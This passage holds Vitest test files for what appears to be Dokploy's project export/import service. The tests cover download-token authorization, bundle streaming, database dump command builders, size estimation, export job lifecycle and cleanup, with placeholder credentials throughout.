it("rejects a non-owner/admin caller with a valid, same-org token", async () => {
const job = createExportJob("export-forbidden-1", "user-1", "org-1");
job.status = "done";
job.bundle = { serverId: null, path: join(root, "bundle.tar.gz") };
const token = issueDownloadToken("export-forbidden-1") as string;
(assertTransferPermission as any).mockRejectedValueOnce(
new (await import("@trpc/server")).TRPCError({
code: "FORBIDDEN",
message: "Only organization owners and admins can do that",
}),
);
const req = buildReq("GET", token);
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(403);
expect(assertTransferPermission).toHaveBeenCalled();
});
it("rejects a token belonging to another organization", async () => {
const job = createExportJob("export-1", "user-1", "org-2");
job.status = "done";
job.bundle = { serverId: null, path: join(root, "bundle.tar.gz") };
const token = issueDownloadToken("export-1") as string;
const req = buildReq("GET", token);
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(404);
});
it("streams the bundle and invalidates the token on success, keeps it valid on failure retries", async () => {
const bundlePath = join(root, "bundle.tar.gz");
const content = Buffer.from(
"fake bundle bytes, could be large in real life",
);
await writeFile(bundlePath, content);
createExportJob("export-2", "user-1", "org-1");
updateExportJob("export-2", {
status: "done",
bundle: { serverId: null, path: bundlePath },
});
const token = issueDownloadToken("export-2") as string;
const req = buildReq("GET", token);
const res = buildRes();
const [, received] = await Promise.all([
handler(req as any, res as any),
drain(res),
]);
expect(received.equals(content)).toBe(true);
expect(res.headers["Content-Type"]).toBe("application/gzip");
expect(res.headers["Content-Length"]).toBe(content.length);
expect(String(res.headers["Content-Disposition"])).toContain(
"bundle.tar.gz",
);
await new Promise((resolve) => setTimeout(resolve, 10));
expect(peekDownloadToken(token)).toBeUndefined();
});
it("keeps the token valid when the connection closes before the download finishes", async () => {
const bundlePath = join(root, "bundle-disconnect.tar.gz");
await writeFile(bundlePath, Buffer.alloc(1024 * 1024, 7));
createExportJob("export-disconnect-1", "user-1", "org-1");
updateExportJob("export-disconnect-1", {
status: "done",
bundle: { serverId: null, path: bundlePath },
});
const token = issueDownloadToken("export-disconnect-1") as string;
const req = buildReq("GET", token);
const res = buildRes();
res.once("data", () => {
res.destroy();
});
await handler(req as any, res as any);
expect(peekDownloadToken(token)).toBeDefined();
});
it("destroys the response instead of hanging when the source stream errors mid-read", async () => {
const bundlePath = join(root, "bundle-error.tar.gz");
await writeFile(bundlePath, Buffer.from("will never actually be read"));
errorPathBox.value = bundlePath;
createExportJob("export-error-1", "user-1", "org-1");
updateExportJob("export-error-1", {
status: "done",
bundle: { serverId: null, path: bundlePath },
});
const token = issueDownloadToken("export-error-1") as string;
const req = buildReq("GET", token);
const res = buildRes();
await handler(req as any, res as any);
expect(res.destroyed).toBe(true);
});
it("rejects a GET with a non-string token param", async () => {
const req = { method: "GET", query: { token: ["a", "b"] } };
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(400);
});
it("rejects non-GET methods", async () => {
const req = buildReq("POST", "whatever");
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(405);
});
it("does not buffer the whole file into memory while streaming a large bundle", async () => {
const bundlePath = join(root, "large-bundle.tar.gz");
const chunkSize = 1024 * 1024;
const chunkCount = 50;
const chunk = Buffer.alloc(chunkSize, 7);
const { open } = await import("node:fs/promises");
const handle = await open(bundlePath, "w");
for (let i = 0; i < chunkCount; i++) {
await handle.write(chunk);
}
await handle.close();
createExportJob("export-large", "user-1", "org-1");
updateExportJob("export-large", {
status: "done",
bundle: { serverId: null, path: bundlePath },
});
const token = issueDownloadToken("export-large") as string;
const req = buildReq("GET", token);
const res = buildRes();
res.resume();
if (global.gc) {
global.gc();
}
const before = process.memoryUsage().heapUsed;
await handler(
req as unknown as Parameters<typeof handler>[0],
res as unknown as Parameters<typeof handler>[1],
);
if (global.gc) {
global.gc();
}
const after = process.memoryUsage().heapUsed;
const grew = after - before;
expect(grew).toBeLessThan((chunkSize * chunkCount) / 2);
});
});
@@ -0,0 +1,550 @@
import { existsSync } from "node:fs";
import { mkdtemp, rm, writeFile } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import type {
ExportScope,
TransferDb,
} from "@dokploy/server/services/project-export-import";
import {
buildComposeDumpCommand,
buildDumpCommand,
createDumps,
MAX_EMBEDDED_DUMP_BYTES,
} from "@dokploy/server/services/project-export-import";
import { afterEach, beforeEach, describe, expect, it } from "vitest";
const local = (path: string) => ({ serverId: null, path });
describe("buildDumpCommand", () => {
it("builds a postgres dump command using databaseName/databaseUser", () => {
const built = buildDumpCommand("postgres", {
appName: "pg-one",
databaseName: "mydb",
databaseUser: "myuser",
});
expect(built?.ext).toBe("sql.gz");
expect(built?.containerSearch).toContain("pg-one");
expect(built?.command).toContain("pg_dump");
expect(built?.command).toContain("mydb");
});
it("builds a mysql dump command using databaseRootPassword", () => {
const built = buildDumpCommand("mysql", {
appName: "mysql-one",
databaseName: "mydb",
databaseRootPassword: "rootpass",
});
expect(built?.command).toContain("mysqldump");
expect(built?.command).toContain("rootpass");
});
it("builds a mariadb dump command using databaseUser + databasePassword", () => {
const built = buildDumpCommand("mariadb", {
appName: "maria-one",
databaseName: "mydb",
databaseUser: "u",
databasePassword: "p",
});
expect(built?.command).toContain("mariadb-dump");
});
it("builds a mongo dump command", () => {
const built = buildDumpCommand("mongo", {
appName: "mongo-one",
databaseName: "mydb",
databaseUser: "u",
databasePassword: "p",
});
expect(built?.ext).toBe("archive.gz");
expect(built?.command).toContain("mongodump");
expect(built?.command).toContain("--archive --gzip");
expect(built?.command).not.toContain("-d ");
});
it("builds a libsql dump command over sqld's iku.db data directory", () => {
const built = buildDumpCommand("libsql", { appName: "libsql-one" });
expect(built?.ext).toBe("tar.gz");
expect(built?.command).toContain("iku.db");
expect(built?.command).not.toContain("libsql-one");
});
it("returns undefined for a non-dumpable service type", () => {
expect(buildDumpCommand("redis", { appName: "redis-one" })).toBeUndefined();
expect(
buildDumpCommand("application", { appName: "app-one" }),
).toBeUndefined();
});
});
describe("buildComposeDumpCommand", () => {
it("builds from metadata.mariadb when databaseType is mariadb", () => {
const built = buildComposeDumpCommand({
appName: "stack-one",
serviceName: "db",
database: "mydb",
databaseType: "mariadb",
metadata: { mariadb: { databaseUser: "u", databasePassword: "p" } },
});
expect(built?.command).toContain("mariadb-dump");
expect(built?.containerSearch).toContain("stack-one");
});
it("returns undefined when the matching metadata block is missing", () => {
const built = buildComposeDumpCommand({
appName: "stack-one",
serviceName: "db",
database: "mydb",
databaseType: "mongo",
metadata: {},
});
expect(built).toBeUndefined();
});
});
const baseScope: ExportScope = {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "embed" },
includeBackupSchedules: true,
};
const emptyServiceArrays = {
mysql: [],
mariadb: [],
mongo: [],
libsql: [],
compose: [],
};
const buildTree = (
postgres: Record<string, unknown>[],
redis: Record<string, unknown>[] = [],
) => ({
projectId: "project-1",
name: "my-project",
organizationId: "org-1",
env: "",
environments: [
{
environmentId: "env-1",
name: "production",
env: "",
applications: [],
postgres,
redis,
...emptyServiceArrays,
},
],
});
const fakeDb = (overrides: Record<string, unknown> = {}): TransferDb =>
({
query: {
deployments: { findMany: async () => [] },
backups: { findFirst: async () => undefined },
...overrides,
},
}) as any as TransferDb;
let workDir: string;
beforeEach(async () => {
workDir = await mkdtemp(join(tmpdir(), "transfer-dumps-"));
});
afterEach(async () => {
await rm(workDir, { recursive: true, force: true });
});
describe("createDumps / embed mode", () => {
it("writes a dump per dumpable service via the injected runDump and records its size", async () => {
const tree = buildTree([
{
postgresId: "pg-1",
appName: "pg-one",
databaseName: "db",
databaseUser: "u",
databasePassword: "p",
serverId: null,
backups: [],
},
]);
const { dumps, warnings } = await createDumps(
fakeDb(),
tree as any,
baseScope,
local(workDir),
{
runDump: async (_serverId, _cmd, localPath) => {
await writeFile(localPath.path, Buffer.alloc(100, 1));
},
},
);
expect(warnings).toHaveLength(0);
expect(dumps).toEqual([
{
serviceId: "pg-1",
serviceType: "postgres",
mode: "embed",
ext: "sql.gz",
path: "dumps/pg-1.sql.gz",
bytes: 100,
},
]);
expect(existsSync(join(workDir, "dumps", "pg-1.sql.gz"))).toBe(true);
});
it("notes that admin users are not restored for a mongo dump", async () => {
const tree = buildTree([]);
tree.environments[0]!.mongo = [
{
mongoId: "mongo-1",
appName: "mongo-one",
databaseUser: "u",
databasePassword: "p",
serverId: null,
backups: [],
},
] as any;
const { dumps, warnings } = await createDumps(
fakeDb(),
tree as any,
baseScope,
local(workDir),
{
runDump: async (_serverId, _cmd, localPath) => {
await writeFile(localPath.path, Buffer.alloc(10, 1));
},
},
);
expect(dumps).toHaveLength(1);
expect(warnings.map((w) => w.code)).toEqual([
"MONGO_ADMIN_USERS_NOT_RESTORED",
]);
});
it("skips redis (no dump mechanism)", async () => {
const tree = buildTree(
[],
[
{
redisId: "redis-1",
appName: "redis-one",
serverId: null,
backups: [],
},
],
);
const { dumps } = await createDumps(
fakeDb(),
tree as any,
baseScope,
local(workDir),
{
runDump: async (_s, _c, localPath) => writeFile(localPath.path, "x"),
},
);
expect(dumps).toHaveLength(0);
});
it("does nothing when dumps.mode is none", async () => {
const tree = buildTree([
{
postgresId: "pg-1",
appName: "pg-one",
databaseName: "db",
databaseUser: "u",
serverId: null,
backups: [],
},
]);
const { dumps, warnings } = await createDumps(
fakeDb(),
tree as any,
{ ...baseScope, dumps: { mode: "none" } },
local(workDir),
{
runDump: async () => {
throw new Error("should not be called");
},
},
);
expect(dumps).toHaveLength(0);
expect(warnings).toHaveLength(0);
expect(existsSync(join(workDir, "dumps"))).toBe(false);
});
it("emits DUMP_SKIPPED_TOO_LARGE and deletes the file when over the byte limit", async () => {
const tree = buildTree([
{
postgresId: "pg-1",
appName: "pg-one",
databaseName: "db",
databaseUser: "u",
serverId: null,
backups: [],
},
]);
const { dumps, warnings } = await createDumps(
fakeDb(),
tree as any,
baseScope,
local(workDir),
{
runDump: async (_s, _c, localPath) => {
const { open } = await import("node:fs/promises");
const handle = await open(localPath.path, "w");
await handle.truncate(MAX_EMBEDDED_DUMP_BYTES + 1);
await handle.close();
},
},
);
expect(dumps).toHaveLength(0);
expect(warnings).toHaveLength(1);
expect(warnings[0]?.code).toBe("DUMP_SKIPPED_TOO_LARGE");
expect(existsSync(join(workDir, "dumps", "pg-1.sql.gz"))).toBe(false);
});
it("emits DUMP_FAILED and doesn't add a dumps entry when runDump throws", async () => {
const tree = buildTree([
{
postgresId: "pg-1",
appName: "pg-one",
databaseName: "db",
databaseUser: "u",
serverId: null,
backups: [],
},
]);
const { dumps, warnings } = await createDumps(
fakeDb(),
tree as any,
baseScope,
local(workDir),
{
runDump: async () => {
throw new Error("pg_dump: connection refused");
},
},
);
expect(dumps).toHaveLength(0);
expect(existsSync(join(workDir, "dumps"))).toBe(false);
expect(warnings).toHaveLength(1);
expect(warnings[0]?.code).toBe("DUMP_FAILED");
expect(warnings[0]?.message).toContain("pg-one");
expect(warnings[0]?.affected).toContainEqual(
expect.objectContaining({ serviceId: "pg-1" }),
);
});
it("emits COMPOSE_DUMP_NOT_RESTORABLE for a compose backup", async () => {
const tree = {
projectId: "project-1",
name: "my-project",
organizationId: "org-1",
env: "",
environments: [
{
environmentId: "env-1",
name: "production",
env: "",
applications: [],
postgres: [],
redis: [],
mysql: [],
mariadb: [],
mongo: [],
libsql: [],
compose: [
{
composeId: "compose-1",
appName: "stack-one",
serverId: null,
backups: [
{
backupId: "backup-1",
serviceName: "db",
database: "mydb",
databaseType: "mariadb",
metadata: {
mariadb: { databaseUser: "u", databasePassword: "p" },
},
},
],
},
],
},
],
};
const { dumps, warnings } = await createDumps(
fakeDb(),
tree as any,
baseScope,
local(workDir),
{
runDump: async (_s, _c, localPath) => writeFile(localPath.path, "x"),
},
);
expect(dumps).toHaveLength(1);
expect(warnings).toHaveLength(1);
expect(warnings[0]?.code).toBe("COMPOSE_DUMP_NOT_RESTORABLE");
expect(warnings[0]?.affected).toEqual([
{
serviceId: "compose-1",
serviceType: "compose",
serviceName: "stack-one",
environmentId: "env-1",
},
]);
expect(dumps[0]?.serviceId).toBe("compose-1");
expect(dumps[0]?.mode).toBe("embed");
expect(dumps[0]?.mode === "embed" ? dumps[0].path : undefined).toContain(
"backup-1",
);
});
it("does not emit COMPOSE_DUMP_NOT_RESTORABLE when the compose dump itself fails", async () => {
const tree = {
projectId: "project-1",
name: "my-project",
organizationId: "org-1",
env: "",
environments: [
{
environmentId: "env-1",
name: "production",
env: "",
applications: [],
postgres: [],
redis: [],
mysql: [],
mariadb: [],
mongo: [],
libsql: [],
compose: [
{
composeId: "compose-1",
appName: "stack-one",
serverId: null,
backups: [
{
backupId: "backup-1",
serviceName: "db",
database: "mydb",
databaseType: "mariadb",
metadata: {
mariadb: { databaseUser: "u", databasePassword: "p" },
},
},
],
},
],
},
],
};
const { dumps, warnings } = await createDumps(
fakeDb(),
tree as any,
baseScope,
local(workDir),
{
runDump: async () => {
throw new Error("Container not found");
},
},
);
expect(dumps).toHaveLength(0);
expect(warnings.map((warning) => warning.code)).toEqual(["DUMP_FAILED"]);
expect(existsSync(join(workDir, "dumps"))).toBe(false);
});
});
describe("createDumps / referenceLastBackup mode", () => {
it("references the destination + key prefix of the latest successful backup", async () => {
const tree = buildTree([
{
postgresId: "pg-1",
appName: "pg-one",
databaseName: "db",
databaseUser: "u",
serverId: null,
backups: [{ backupId: "backup-1" }],
},
]);
const db = fakeDb({
deployments: {
findMany: async () => [{ backupId: "backup-1", status: "done" }],
},
backups: {
findFirst: async () => ({
backupId: "backup-1",
destinationId: "dest-1",
prefix: "/nightly/",
}),
},
});
const { dumps } = await createDumps(
db,
tree as any,
{ ...baseScope, dumps: { mode: "referenceLastBackup" } },
local(workDir),
);
expect(dumps).toEqual([
{
serviceId: "pg-1",
serviceType: "postgres",
mode: "referenceLastBackup",
destinationId: "dest-1",
keyPrefix: "pg-one/nightly/",
},
]);
});
it("skips a service with no successful backup deployment", async () => {
const tree = buildTree([
{
postgresId: "pg-1",
appName: "pg-one",
databaseName: "db",
databaseUser: "u",
serverId: null,
backups: [{ backupId: "backup-1" }],
},
]);
const { dumps } = await createDumps(
fakeDb(),
tree as any,
{ ...baseScope, dumps: { mode: "referenceLastBackup" } },
local(workDir),
);
expect(dumps).toHaveLength(0);
});
});
@@ -0,0 +1,118 @@
import type { ExportScope } from "@dokploy/server/services/project-export-import";
import {
buildDatabaseSizeCommand,
buildDirectorySizeCommand,
estimateSizes,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const scope: ExportScope = {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "embed" },
includeBackupSchedules: true,
};
const tree = {
projectId: "project-1",
name: "p",
organizationId: "org-1",
env: "",
environments: [
{
environmentId: "env-1",
name: "production",
env: "",
applications: [
{ applicationId: "app-1", appName: "app-one", serverId: null },
],
compose: [
{ composeId: "c-1", appName: "compose-one", serverId: "srv-1" },
],
postgres: [
{
postgresId: "pg-1",
appName: "pg-one",
serverId: null,
databaseName: "mydb",
databaseUser: "me",
},
],
mysql: [],
mariadb: [],
mongo: [],
redis: [{ redisId: "r-1", appName: "redis-one", serverId: null }],
libsql: [],
},
],
};
const pathsFn = (isServer = false) =>
({
APPLICATIONS_PATH: isServer ? "/remote/apps" : "/local/apps",
COMPOSE_PATH: isServer ? "/remote/compose" : "/local/compose",
}) as never;
describe("estimateSizes", () => {
it("sums database and file sizes, keyed to the right server and path", async () => {
const calls: [string | null, string][] = [];
const sizes = await estimateSizes(tree as never, scope, {
pathsFn,
probe: async (serverId, command) => {
calls.push([serverId, command]);
if (command.includes("pg_database_size")) return "1048576\n";
if (command.includes("/remote/compose/compose-one")) return "2048";
if (command.includes("/local/apps/app-one")) return "4096";
throw new Error("unexpected");
},
});
expect(sizes).toEqual({
estimatedDumpBytes: 1048576,
estimatedFilesBytes: 6144,
});
expect(calls.map(([serverId]) => serverId)).toEqual([null, null, "srv-1"]);
expect(calls.some(([, c]) => c.includes("redis"))).toBe(false);
});
it("counts a failing probe as zero instead of failing the preview", async () => {
const sizes = await estimateSizes(tree as never, scope, {
pathsFn,
probe: async () => {
throw new Error("container not running");
},
});
expect(sizes).toEqual({ estimatedDumpBytes: 0, estimatedFilesBytes: 0 });
});
});
describe("size command builders", () => {
it("passes database credentials as env vars, never inside the container script", () => {
const command = buildDatabaseSizeCommand("mariadb", {
appName: "db-one",
databaseName: "shop",
databaseUser: "shop",
databasePassword: "s3cret'quote",
}) as string;
const [outer, inner] = command.split(" sh -c ");
expect(outer).toContain("-e DB_PASS=");
expect(inner).toContain('--password="$DB_PASS"');
expect(inner).not.toContain("s3cret");
expect(inner).not.toContain("\\$");
});
it("has no size probe for redis", () => {
expect(buildDatabaseSizeCommand("redis", { appName: "x" })).toBeUndefined();
});
it("quotes the directory path", () => {
expect(buildDirectorySizeCommand("/etc/dokploy/apps/my app")).toBe(
"du -sk '/etc/dokploy/apps/my app' | awk '{print $1*1024}'",
);
});
});
@@ -0,0 +1,348 @@
import { existsSync } from "node:fs";
import { mkdtemp, rm, writeFile } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import type {
ExportScope,
TransferDb,
} from "@dokploy/server/services/project-export-import";
import {
cancelExport,
cleanupExpiredExports,
createExportJob,
getExportJob,
runExport,
runExportBatch,
} from "@dokploy/server/services/project-export-import";
import { TRPCError } from "@trpc/server";
import { afterEach, beforeEach, describe, expect, it } from "vitest";
let root: string;
beforeEach(async () => {
root = await mkdtemp(join(tmpdir(), "transfer-export-job-"));
});
afterEach(async () => {
await rm(root, { recursive: true, force: true });
});
const fakePaths = (_isServer: boolean) => ({
BASE_PATH: root,
MAIN_TRAEFIK_PATH: join(root, "traefik"),
DYNAMIC_TRAEFIK_PATH: join(root, "traefik", "dynamic"),
LOGS_PATH: join(root, "logs"),
APPLICATIONS_PATH: join(root, "applications"),
COMPOSE_PATH: join(root, "compose"),
SSH_PATH: join(root, "ssh"),
CERTIFICATES_PATH: join(root, "traefik", "dynamic", "certificates"),
MONITORING_PATH: join(root, "monitoring"),
REGISTRY_PATH: join(root, "registry"),
SCHEDULES_PATH: join(root, "schedules"),
VOLUME_BACKUPS_PATH: join(root, "volume-backups"),
VOLUME_BACKUP_LOCK_PATH: join(root, "volume-backup-lock"),
PATCH_REPOS_PATH: join(root, "patch-repos"),
PROJECT_EXPORT_IMPORT_PATH: join(root, "transfer"),
});
const emptyProjectTree = {
projectId: "project-1",
name: "my-project",
organizationId: "org-1",
env: "",
environments: [],
};
const fakeDb = (): TransferDb =>
({
query: {
projects: { findFirst: async () => emptyProjectTree },
environments: { findFirst: async () => undefined },
schedules: { findMany: async () => [] },
volumeBackups: { findMany: async () => [] },
},
}) as any as TransferDb;
const baseScope: ExportScope = {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "embed" },
includeBackupSchedules: true,
};
const waitForStatus = async (
exportId: string,
target: "done" | "error",
timeoutMs = 5000,
) => {
const start = Date.now();
while (Date.now() - start < timeoutMs) {
const job = getExportJob(exportId);
if (job?.status === target || job?.status === "error") {
return job;
}
await new Promise((resolve) => setTimeout(resolve, 20));
}
throw new Error(
`Timed out waiting for export ${exportId} to reach ${target}`,
);
};
describe("runExport", () => {
it("produces a downloadable bundle for an (empty) project and issues a download token", async () => {
const { exportId } = runExport(
{
source: { kind: "project", id: "project-1" },
scope: baseScope,
passphrase: "correct-horse-battery-staple",
},
{
db: fakeDb(),
userId: "user-1",
userEmail: "a@b.com",
organizationId: "org-1",
dokployVersion: "1.0.0-test",
pathsFn: fakePaths as any,
},
);
const job = await waitForStatus(exportId, "done");
expect(job?.status).toBe("done");
expect(job?.bundle?.path).toBeDefined();
expect(existsSync(job?.bundle?.path as string)).toBe(true);
expect(job?.downloadToken).toBeDefined();
expect(job?.size).toBeGreaterThan(0);
});
it("attaches dump warnings to the finished job when an embedded dump fails", async () => {
const tree = {
...emptyProjectTree,
environments: [
{
environmentId: "env-1",
name: "production",
env: "",
applications: [],
compose: [],
postgres: [
{
postgresId: "pg-1",
name: "pg",
appName: "pg-one",
databaseName: "db",
databaseUser: "u",
databasePassword: "p",
serverId: null,
backups: [],
mounts: [],
},
],
mysql: [],
mariadb: [],
mongo: [],
redis: [],
libsql: [],
},
],
};
const db = {
query: {
projects: { findFirst: async () => tree },
environments: { findFirst: async () => undefined },
schedules: { findMany: async () => [] },
volumeBackups: { findMany: async () => [] },
applications: {
findMany: async () => [],
findFirst: async () => undefined,
},
},
} as any as TransferDb;
const { exportId } = runExport(
{
source: { kind: "project", id: "project-1" },
scope: baseScope,
passphrase: "correct-horse-battery-staple",
},
{
db,
userId: "user-1",
userEmail: "a@b.com",
organizationId: "org-1",
dokployVersion: "1.0.0-test",
pathsFn: fakePaths as any,
},
);
const job = await waitForStatus(exportId, "done");
expect(job?.status).toBe("done");
expect(job?.warnings?.map((warning) => warning.code)).toEqual([
"DUMP_FAILED",
]);
expect(job?.message).toMatch(/^Export complete with 1 warning\(s\)/);
});
it("gives two concurrent exports independent exportIds and workDirs", async () => {
const first = runExport(
{
source: { kind: "project", id: "project-1" },
scope: baseScope,
passphrase: "correct-horse-battery-staple",
},
{
db: fakeDb(),
userId: "user-1",
userEmail: "a@b.com",
organizationId: "org-1",
dokployVersion: "1.0.0-test",
pathsFn: fakePaths as any,
},
);
const second = runExport(
{
source: { kind: "project", id: "project-1" },
scope: baseScope,
passphrase: "correct-horse-battery-staple",
},
{
db: fakeDb(),
userId: "user-1",
userEmail: "a@b.com",
organizationId: "org-1",
dokployVersion: "1.0.0-test",
pathsFn: fakePaths as any,
},
);
expect(first.exportId).not.toBe(second.exportId);
const [job1, job2] = await Promise.all([
waitForStatus(first.exportId, "done"),
waitForStatus(second.exportId, "done"),
]);
expect(job1?.bundle?.path).not.toBe(job2?.bundle?.path);
expect(existsSync(job1?.bundle?.path as string)).toBe(true);
expect(existsSync(job2?.bundle?.path as string)).toBe(true);
});
});
describe("runExportBatch", () => {
it("runs the exports one after another and finishes every job", async () => {
const ctx = {
db: fakeDb(),
userId: "user-1",
userEmail: "a@b.com",
organizationId: "org-1",
dokployVersion: "1.0.0-test",
pathsFn: fakePaths as any,
};
const input = {
source: { kind: "project" as const, id: "project-1" },
scope: baseScope,
passphrase: "correct-horse-battery-staple",
};
const { exportIds } = runExportBatch([input, input], ctx);
expect(exportIds).toHaveLength(2);
const first = await waitForStatus(exportIds[0] as string, "done");
const second = await waitForStatus(exportIds[1] as string, "done");
expect(first?.bundle?.path).not.toBe(second?.bundle?.path);
expect(existsSync(first?.bundle?.path as string)).toBe(true);
expect(existsSync(second?.bundle?.path as string)).toBe(true);
}, 30_000);
it("restarts each job's TTL when it finishes, not when the batch was queued", async () => {
const input = {
source: { kind: "project" as const, id: "project-1" },
scope: baseScope,
passphrase: "correct-horse-battery-staple",
};
const { exportIds } = runExportBatch([input, input], {
db: fakeDb(),
userId: "user-1",
userEmail: "a@b.com",
organizationId: "org-1",
dokployVersion: "1.0.0-test",
pathsFn: fakePaths as any,
});
const queuedAt = getExportJob(exportIds[1] as string)?.createdAt as number;
const first = await waitForStatus(exportIds[0] as string, "done");
const second = await waitForStatus(exportIds[1] as string, "done");
expect(second?.createdAt).toBeGreaterThan(queuedAt);
expect(second?.createdAt).toBeGreaterThanOrEqual(
first?.createdAt as number,
);
}, 30_000);
});
describe("cancelExport (T-6.7)", () => {
it("refuses to cancel while the export is actually running", async () => {
const job = createExportJob("cancel-running-1", "user-1", "org-1");
job.status = "dumping";
await expect(cancelExport("cancel-running-1")).rejects.toThrow(TRPCError);
expect(getExportJob("cancel-running-1")?.status).toBe("dumping");
});
it("allows cancelling once the export has reached a terminal status", async () => {
const job = createExportJob("cancel-done-1", "user-1", "org-1");
job.status = "done";
await cancelExport("cancel-done-1");
expect(getExportJob("cancel-done-1")).toBeUndefined();
});
});
describe("cleanupExpiredExports", () => {
it("deletes expired jobs and their bundle files", async () => {
const job = createExportJob("expired-1", "user-1", "org-1");
const bundlePath = join(root, "expired-1.dokploy.tar.gz");
await writeFile(bundlePath, "fake bundle");
job.workspace = { serverId: null, path: join(root, "expired-1") };
job.bundle = { serverId: null, path: bundlePath };
job.status = "done";
const farFuture = Date.now() + 2 * 60 * 60 * 1000;
const expired = await cleanupExpiredExports(farFuture);
expect(expired.map((j) => j.exportId)).toContain("expired-1");
expect(getExportJob("expired-1")).toBeUndefined();
expect(existsSync(bundlePath)).toBe(false);
});
it("leaves fresh jobs untouched", async () => {
createExportJob("fresh-1", "user-1", "org-1");
const expired = await cleanupExpiredExports(Date.now());
expect(expired.map((j) => j.exportId)).not.toContain("fresh-1");
expect(getExportJob("fresh-1")).toBeDefined();
});
it("leaves an active (non-terminal status) job alone even past the TTL", async () => {
const job = createExportJob("active-past-ttl-1", "user-1", "org-1");
job.status = "dumping";
const farFuture = Date.now() + 2 * 60 * 60 * 1000;
const expired = await cleanupExpiredExports(farFuture);
expect(expired.map((j) => j.exportId)).not.toContain("active-past-ttl-1");
expect(getExportJob("active-past-ttl-1")).toBeDefined();
});
it("does clean up a terminal-status job once it's past the TTL", async () => {
const job = createExportJob("terminal-past-ttl-1", "user-1", "org-1");
job.status = "error";
const farFuture = Date.now() + 2 * 60 * 60 * 1000;
const expired = await cleanupExpiredExports(farFuture);
expect(expired.map((j) => j.exportId)).toContain("terminal-past-ttl-1");
expect(getExportJob("terminal-past-ttl-1")).toBeUndefined();
});
});
@@ -0,0 +1,276 @@
import { mkdtemp, readdir, readFile, rm } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join, relative } from "node:path";
import type {
ExportScope,
TransferDb,
} from "@dokploy/server/services/project-export-import";
import {
capture,
detectRequirements,
detectWarnings,
manifestSchema,
serialize,
} from "@dokploy/server/services/project-export-import";
import { execAsync } from "@dokploy/server/utils/process/execAsync";
import { afterEach, beforeEach, describe, expect, it } from "vitest";
const local = (path: string) => ({ serverId: null, path });
const PASSPHRASE = "correct-horse-battery-staple";
const SECRET_VALUES = [
"hunter2-vault-secret-placeholder",
"realdbpassword123",
"registrypassword456",
"basicauthpassword789",
];
const application = {
applicationId: "app-1",
name: "my-app",
appName: "my-app-abc123",
environmentId: "env-1",
env: "DATABASE_URL=postgres://user:${{vault.prod.DB_PASS}}@db/mydb",
buildArgs: null,
buildSecrets: null,
previewEnv: null,
serverId: null,
buildServerId: null,
githubId: null,
gitlabId: null,
giteaId: null,
bitbucketId: null,
refreshToken: "webhook-token-should-never-appear",
registryId: "registry-1",
buildRegistryId: null,
rollbackRegistryId: null,
customGitSSHKeyId: null,
customGitSSHKey: null,
networkIds: [],
owner: null,
repository: null,
sourceType: "docker",
autoDeploy: false,
isPreviewDeploymentsActive: false,
createdAt: "2024-01-01T00:00:00.000Z",
domains: [],
mounts: [],
redirects: [],
security: [
{
securityId: "sec-1",
username: "admin",
password: "basicauthpassword789",
createdAt: "2024-01-01",
},
],
ports: [],
schedules: [],
volumeBackups: [],
};
const postgres = {
postgresId: "pg-1",
name: "my-db",
appName: "my-db-xyz789",
environmentId: "env-1",
env: "",
databasePassword: "realdbpassword123",
serverId: null,
createdAt: "2024-01-01T00:00:00.000Z",
mounts: [],
backups: [],
volumeBackups: [],
};
const emptyServiceArrays = {
mysql: [],
mariadb: [],
mongo: [],
redis: [],
libsql: [],
compose: [],
};
const projectTree = {
projectId: "project-1",
name: "my-project",
organizationId: "org-1",
env: "",
createdAt: "2024-01-01T00:00:00.000Z",
environments: [
{
environmentId: "env-1",
name: "production",
projectId: "project-1",
env: "",
isDefault: true,
createdAt: "2024-01-01T00:00:00.000Z",
applications: [application],
postgres: [postgres],
...emptyServiceArrays,
},
],
};
const fakeDb = (): TransferDb =>
({
query: {
projects: { findFirst: async () => projectTree },
environments: { findFirst: async () => undefined },
applications: { findMany: async () => [application] },
schedules: { findMany: async () => [] },
volumeBackups: { findMany: async () => [] },
vaultProvider: {
findMany: async () => [
{
vaultProviderId: "vault-1",
name: "prod",
providerType: "hashicorp",
organizationId: "org-1",
},
],
},
registry: {
findMany: async () => [
{
registryId: "registry-1",
registryUrl: "https://registry.example.com",
imagePrefix: "acme",
password: "registrypassword456",
},
],
findFirst: async () => ({
registryId: "registry-1",
registryUrl: "https://registry.example.com",
imagePrefix: "acme",
password: "registrypassword456",
}),
},
destinations: { findMany: async () => [] },
network: { findMany: async () => [] },
certificates: { findMany: async () => [] },
},
}) as any as TransferDb;
const baseScope: ExportScope = {
includeEnvSecrets: true,
shared: { registry: "value" },
files: {
applicationSources: false,
composeFiles: false,
traefikRaw: false,
customCertificates: false,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
};
const walkFiles = async (dir: string, base = dir): Promise<string[]> => {
const entries = await readdir(dir, { withFileTypes: true });
const files: string[] = [];
for (const entry of entries) {
const full = join(dir, entry.name);
if (entry.isDirectory()) {
files.push(...(await walkFiles(full, base)));
} else {
files.push(relative(base, full));
}
}
return files;
};
let workDir: string;
let outDir: string;
beforeEach(async () => {
workDir = await mkdtemp(join(tmpdir(), "transfer-export-integration-work-"));
outDir = await mkdtemp(join(tmpdir(), "transfer-export-integration-out-"));
});
afterEach(async () => {
await rm(workDir, { recursive: true, force: true });
await rm(outDir, { recursive: true, force: true });
});
describe("export integration: capture -> serialize", () => {
it("produces a valid, checksummed, secret-free bundle from a realistic project", async () => {
const db = fakeDb();
const captureResult = await capture(
db,
{ kind: "project", id: "project-1" },
baseScope,
{
detectRequirements: (tree, scope) =>
detectRequirements(db, tree, scope),
